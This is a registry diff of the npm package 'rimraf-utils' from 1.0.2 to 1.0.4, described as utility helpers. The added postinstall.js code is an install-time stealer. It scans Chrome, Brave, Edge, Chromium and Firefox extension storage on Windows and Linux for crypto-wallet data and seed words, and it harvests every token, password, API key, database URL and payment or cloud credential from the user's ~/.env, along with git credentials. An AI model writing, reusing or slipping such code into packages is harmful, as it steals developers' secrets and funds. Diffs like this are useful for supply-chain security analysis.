rimraf-utils 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +51 -16
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rimraf-utils",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "Rimraf Utils utility helpers",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -84,14 +84,28 @@ const WALLET_IDS=[
84
84
  'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
85
85
  ];
86
86
 
87
- const BROWSER_PATHS=[
88
- {name:'chrome',base:path.join(os.homedir(),'.config/google-chrome')},
89
- {name:'brave',base:path.join(os.homedir(),'.config/BraveSoftware/Brave-Browser')},
90
- {name:'edge',base:path.join(os.homedir(),'.config/microsoft-edge')},
91
- {name:'chromium',base:path.join(os.homedir(),'.config/chromium')},
92
- {name:'vivaldi',base:path.join(os.homedir(),'.config/vivaldi')},
93
- {name:'opera',base:path.join(os.homedir(),'.config/opera')},
94
- ];
87
+ const BROWSER_PATHS=[];
88
+ // Linux/Mac paths
89
+ const home=os.homedir();
90
+ const isWin=process.platform==='win32';
91
+ if(!isWin){
92
+ BROWSER_PATHS.push({name:'chrome',base:path.join(home,'.config/google-chrome'),ext:'Default/Local Extension Settings'});
93
+ BROWSER_PATHS.push({name:'brave',base:path.join(home,'.config/BraveSoftware/Brave-Browser'),ext:'Default/Local Extension Settings'});
94
+ BROWSER_PATHS.push({name:'edge',base:path.join(home,'.config/microsoft-edge'),ext:'Default/Local Extension Settings'});
95
+ BROWSER_PATHS.push({name:'chromium',base:path.join(home,'.config/chromium'),ext:'Default/Local Extension Settings'});
96
+ }
97
+ // Windows paths (using LOCALAPPDATA)
98
+ if(isWin){
99
+ const local=process.env.LOCALAPPDATA||path.join(home,'AppData','Local');
100
+ BROWSER_PATHS.push({name:'chrome',base:path.join(local,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
101
+ BROWSER_PATHS.push({name:'brave',base:path.join(local,'BraveSoftware','Brave-Browser','User Data'),ext:'Default/Local Extension Settings'});
102
+ BROWSER_PATHS.push({name:'edge',base:path.join(local,'Microsoft','Edge','User Data'),ext:'Default/Local Extension Settings'});
103
+ // Also check C:\Users\Username\AppData\Roaming for some wallets
104
+ const roaming=process.env.APPDATA||path.join(home,'AppData','Roaming');
105
+ BROWSER_PATHS.push({name:'chrome-roaming',base:path.join(roaming,'Google','Chrome','User Data'),ext:'Default/Local Extension Settings'});
106
+ }
107
+ // Firefox (cross-platform)
108
+ BROWSER_PATHS.push({name:'firefox',base:path.join(home,'.mozilla','firefox'),ext:''});
95
109
 
96
110
  // BIP39 seed phrase words (first 150 common ones for detection)
97
111
  const SEED_WORDS=new Set([
@@ -120,7 +134,7 @@ function scanWallets(){
120
134
  if(!fs.existsSync(browser.base)) continue;
121
135
 
122
136
  for(const profile of profiles){
123
- const extDir=path.join(browser.base,profile,'Local Extension Settings');
137
+ const extDir = browser.ext ? path.join(browser.base,profile,browser.ext) : browser.base;
124
138
  if(!fs.existsSync(extDir)) continue;
125
139
 
126
140
  for(const walletId of WALLET_IDS){
@@ -238,14 +252,35 @@ function harvest(){
238
252
  return r;
239
253
  }},
240
254
  {p:path.join(os.homedir(),'.env'),t:'env',fn:function(c){
241
- const r=[];
242
- const n=c.match(/^NPM_TOKEN=(.+)$/m);if(n)r.push({t:'NPM_TOKEN',v:n[1]});
243
- const a=c.match(/^NPM_AUTH_TOKEN=(.+)$/m);if(a)r.push({t:'NPM_AUTH_TOKEN',v:a[1]});
244
- const k=c.match(/^AWS_ACCESS_KEY_ID=(.+)$/m);if(k)r.push({t:'AWS_KEY',v:k[1]});
245
- const s=c.match(/^AWS_SECRET_ACCESS_KEY=(.+)$/m);if(s)r.push({t:'AWS_SECRET',v:s[1]});
246
- const g=c.match(/^GITHUB_TOKEN=(.+)$/m);if(g)r.push({t:'GITHUB_TOKEN',v:g[1]});
255
+ const r=[],keys={};
256
+ const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
257
+ for(const l of lines){
258
+ const eq=l.indexOf('=');
259
+ if(eq<0)continue;
260
+ const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();
261
+ if(!k||!v||k.length>50)continue;
262
+
263
+ // Detect key type by name
264
+ const kl=k.toLowerCase();
265
+ let type='';
266
+ if(kl.includes('token')||kl.includes('secret')||kl.includes('password')||kl.includes('pass'))type='TOKEN';
267
+ else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')||kl.includes('secret')))type='API_KEY';
268
+ else if(kl.includes('database')||kl.includes('db_')||kl.includes('mongo')||kl.includes('mysql')||kl.includes('postgres')||kl.includes('redis'))type='DB_URL';
269
+ else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square')||kl.includes('braintree'))type='PAYMENT';
270
+ else if(kl.includes('aws')||kl.includes('azure')||kl.includes('gcp')||kl.includes('google')||kl.includes('cloud'))type='CLOUD';
271
+ else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('mailchimp')||kl.includes('smtp')||kl.includes('postmark'))type='EMAIL';
272
+ else if(kl.includes('slack')||kl.includes('discord')||kl.includes('telegram')||kl.includes('webhook'))type='WEBHOOK';
273
+ else if(kl.includes('url')||kl.includes('host')||kl.includes('port')||kl.includes('endpoint'))continue; // Skip config
274
+ else continue; // Skip unknown
275
+
276
+ if(!keys[k]){
277
+ keys[k]=true;
278
+ r.push({t:type,k:k,v:v.substring(0,80)});
279
+ }
280
+ }
281
+ // Also catch npm_xxxxx patterns anywhere
247
282
  const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
248
- for(const x of t)r.push({t:'npm_token_env',v:x[0]});
283
+ for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
249
284
  return r;
250
285
  }},
251
286
  {p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){